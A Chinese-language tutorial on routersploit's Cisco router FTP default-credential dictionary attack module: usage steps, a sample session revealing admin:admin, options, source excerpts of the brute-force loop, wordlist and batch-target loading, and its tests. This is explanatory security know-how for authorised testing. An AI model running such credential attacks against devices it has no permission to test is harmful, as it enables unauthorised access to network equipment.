routersploit Cisco 路由器 FTP 默认凭据字典攻击模块实战指南
2026/9/23 6:44:03 网站建设 项目流程

routersploit Cisco 路由器 FTP 默认凭据字典攻击模块实战指南

【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit

导读

本文围绕 routersploit 项目中的creds/routers/cisco/ftp_default_creds模块,完整讲解如何对 Cisco 路由器 FTP 服务执行默认凭据字典攻击:从交互式启动、模块加载、目标设置到多线程爆破的完整操作流程,并深入剖析其继承自通用 FTP 默认凭据模块的底层实现、FTP 客户端封装、线程调度与结果输出机制。读完本文,你将能够熟练使用该模块完成一次真实的默认凭据探测,理解其每一个可配置选项的含义,并能基于源码定位到具体的调用链与测试用例。

模块功能概述

根据原文档 ftp_default_creds.md 与模块源码 ftp_default_creds.py 的描述:

Module performs dictionary attack with default credentials against Cisco Router FTP service. If valid credentials are found, they are displayed to the user.

该模块针对 Cisco 路由器暴露的 FTP 服务(默认端口 21)执行默认凭据字典攻击:逐条尝试预先定义的"用户名:密码"组合,一旦验证通过,立即将有效凭据连同目标地址、端口、服务类型展示给用户。它适用于路由器/嵌入式设备普遍残留出厂默认口令(如admin:admin)的常见场景,用于安全评估中的弱口令排查。

值得注意的是,该模块定义在devices字段中声明适用设备为"Cisco Router",但在实际实现上它与同目录下的 SSH、Telnet 变体(ssh_default_creds.py、telnet_default_creds.py)结构完全一致,仅服务端口与默认凭据词表不同,其通用机制可复用于所有厂商设备模块。

快速开始:完整操作步骤

原文档给出的验证步骤(Verification Steps)如下,这是使用该模块的标准流程:

  1. 启动交互式框架:./rsf.py
  2. 加载模块:use creds/routers/cisco/ftp_default_creds
  3. 设置目标:set target [TargetIP]
  4. 执行攻击:run
  5. 若发现有效凭据,结果会展示给用户

对应的交互会话示例:

rsf > use creds/routers/cisco/ftp_default_creds rsf (Cisco Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin

会话中的关键输出语义:

  • [*] Target exposes FTP service:模块先做连通性探测(见下文check()方法),确认目标 21 端口确实存在 FTP 服务后才开始爆破,避免对非 FTP 目标浪费流量;
  • [-] Authentication Failed - ...:单条凭据验证失败;
  • [+] Authenticated Succeed - Username: 'admin' Password: 'admin':命中有效凭据;
  • 最后以表格形式汇总输出Target / Port / Service / Username / Password

模块可配置选项详解

加载模块后可通过show options查看全部可设置项。该模块在 ftp_default_creds.py 中声明了四个核心选项,并从父类继承了stop_on_successverbosityssl等选项。

选项类型默认值说明
targetOptIP目标 IPv4/IPv6 地址,或file://开头的目标列表文件路径(每行ip:port
portOptPort21目标 FTP 端口
threadsOptInteger1并发线程数
defaultsOptWordlistadmin:admin凭据字典:user:pass单条,逗号分隔多条,或file://指定词表文件
stop_on_successOptBooltrue命中首个有效凭据后是否立即停止
verbosityOptBooltrue是否打印每条认证尝试的详细输出
sslOptBoolfalse是否使用 FTPS(FTP over TLS)连接

选项类型的校验逻辑

各选项的合法性校验实现在 option.py:

  • OptIP(L34-L41):通过is_ipv4/is_ipv6正则校验,非法地址直接抛出OptionValidationError
  • OptPort(L44-L57):强制转 int,并限定0 < value <= 65535
  • OptInteger(L89-L100):支持十进制与十六进制(int(value, 16)兜底);
  • OptBool(L60-L86):仅接受字符串true/false
  • OptWordlist(L135-L153):若值以file://开头,读取该文件并按行生成凭据列表(文件不存在会报错);否则按逗号切分为多个user:pass条目。因此set defaults admin:admin,root:toor可一次注入多条组合。

与通用模块的默认值差异

该 Cisco 模块继承了通用 FTP 默认凭据模块 ftp_default.py,但刻意覆盖了线程数与默认词表

  • 通用模块threads默认为8(ftp_default.py#L22),且defaults默认指向框架内置的厂商默认凭据词表wordlists.defaults(ftp_default.py#L23);
  • Cisco 模块将其改为threads = 1defaults = "admin:admin"(ftp_default_creds.py#L21-L22)。

这一差异也直接反映在测试断言中(见下文测试章节),其设计意图是:Cisco 路由器默认凭据高度集中(admin:admin),单线程顺序尝试即可在极短时间内完成,同时降低对目标设备的连接压力。若要扩大词表,可通过set defaults file:///path/to/wordlist.txt加载自定义字典。

底层实现原理:一次完整的攻击调用链

1. 类继承关系

Exploit (core/exploit/exploit.py) └─ FTPClient (core/ftp/ftp_client.py,target_protocol = Protocol.FTP) └─ FTPDefault(通用模块 generic/ftp_default.py) └─ Cisco FTP Default Creds(routersploit/modules/creds/routers/cisco/ftp_default_creds.py)

Cisco 模块自身几乎不写业务逻辑,仅通过继承与选项覆盖复用通用模块的完整攻击流程——这是 routersploit creds 模块族的典型组织方式。target_protocol被设为Protocol.FTP = "ftp"(exploit.py#L20),该值最终会出现在结果表格的Service列。

2.run()attack()主流程

继承自 ftp_default.py 的攻击流程分四步:

def run(self): self.credentials = [] self.attack() @multi def attack(self): if not self.check(): return print_status("Starting attack against FTP service") data = LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) ...
  • run()先清空凭据缓存,再调用attack()
  • attack()@multi装饰器修饰(exploit.py#L126-L170):若targetfile://开头,装饰器会逐行解析目标列表文件,对每个ip:port目标分别执行一次攻击,实现批量目标扫描
  • LockedIterator(exploit.py#L192-L212)为词表迭代器加线程锁,保证多线程下每条凭据只被消费一次、不会重复尝试;
  • run_threads(exploit.py#L85-L123)按threads数量创建命名线程(thread-0thread-1…),通过threading.Event控制启停,支持Ctrl+C中断,并在全部线程结束后打印Elapsed time

3. 前置探测check()

def check(self): ftp_client = self.ftp_create() if ftp_client.test_connect(): print_status("Target exposes FTP service", verbose=self.verbosity) return True print_status("Target does not expose FTP service", verbose=self.verbosity) return False

check()先建立一次 FTP 连接测试端口可用性,不通则直接return,跳过整个爆破流程——这正是会话日志中Target exposes FTP service一行的来源。

4. 单条凭据验证target_function()

def target_function(self, running, data): while running.is_set(): username, password = data.next().split(":", 1) ftp_client = self.ftp_create() if ftp_client.connect(retries=3) is None: print_error("Too many connections problems. Quiting...", verbose=self.verbosity) return if ftp_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ftp_client.close()

每个线程从共享迭代器中取出user:pass,以第一个:为界拆分为用户名与密码(split(":", 1)),随后调用 FTP 客户端登录。命中有效凭据时:

  • stop_on_success为真,调用running.clear()通知所有线程停止;
  • (目标, 端口, 协议, 用户名, 密码)追加到credentials列表,最终由print_table以表格形式输出(ftp_default.py#L42-L45)。

5. FTP 客户端封装

所有底层交互均由 ftp_client.py 完成:

  • 基于 Python 标准库ftplib封装,ssl选项为真时使用ftplib.FTP_TLS,否则使用ftplib.FTP(L33-L36);
  • 连接超时固定为FTP_TIMEOUT = 8.0秒(L11);
  • connect(retries=3)(L38-L54)支持失败重试,连接异常时打印错误并关闭连接;
  • login()(L56-L72)成功打印FTP Authentication Successful - ...,失败打印FTP Authentication Failed - ...——这两条日志即会话中[+]/[-]行的直接来源;
  • verbosity=False时所有打印被抑制,可显著减少批量扫描时的终端噪音。

凭据字典的三种注入方式

defaults选项支持三种格式(由OptWordlist__get__逻辑决定):

  1. 单条组合set defaults admin:admin
  2. 逗号分隔多条set defaults admin:admin,root:toor,cisco:cisco
  3. 外部词表文件set defaults file:///opt/wordlists/cisco_ftp.txt,文件每行一条user:pass

同理,target也支持批量目标文件:set target file:///opt/targets.txt,文件每行一个ipip:port,由@multi装饰器逐个展开执行。

测试与验证:如何确认模块行为

仓库为每个 creds 模块都配套了 pytest 测试,Cisco FTP 模块的测试位于 tests/creds/routers/cisco/test_ftp_default_creds.py,可直接运行验证:

pytest tests/creds/routers/cisco/test_ftp_default_creds.py -v

该测试的关键断言(对应 test_ftp_default_creds.py#L9-L14):

assert exploit.target == "" assert exploit.port == 21 assert exploit.threads == 1 assert exploit.defaults == ["admin:admin"] assert exploit.stop_on_success is True assert exploit.verbosity is True

这些断言与源码中的选项默认值一一对应,同时验证了:

  • exploit.check()在通用测试目标上返回False(FTP 未开放时正确短路);
  • exploit.check_default()返回None@mute装饰器抑制输出);
  • exploit.run()正常返回None

该测试文件是理解模块默认行为的最快捷径:即使不阅读源码,仅凭断言即可确认模块的端口、线程数与默认词表。

同类模块与扩展方向

routersploit 的 creds 模块族遵循完全一致的"继承 + 覆盖"模式:

  • Cisco 路由器的 SSH 变体 ssh_default_creds.py(端口 22)与 Telnet 变体telnet_default_creds.py,仅替换通用父类与端口;
  • 其他厂商(如creds/routers/asuscreds/routers/dlinkcreds/cameras/acti等)同样由ftp_default/ssh_default/telnet_default通用模块派生。

如果你需要对其他设备的 FTP 服务做同样的默认凭据探测,只需use creds/<厂商>/<设备>/ftp_default_creds并按相同流程设置targetrun即可;若内置词表不够用,优先通过file://引入自定义字典。

使用前提与注意事项

  • 该模块属于凭据探测类模块,仅适用于已获得授权、合法的安全测试与设备运维场景;
  • 模块依赖目标设备确实开启 FTP 服务(默认端口 21),若服务运行在非标准端口,务必先set port调整;
  • threads值会增大对目标设备的并发连接压力,嵌入式设备处理能力有限,建议从默认单线程开始,必要时逐步上调;
  • 框架入口为仓库根目录的 rsf.py,启动前请确保按 README.md 完成依赖安装。

【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询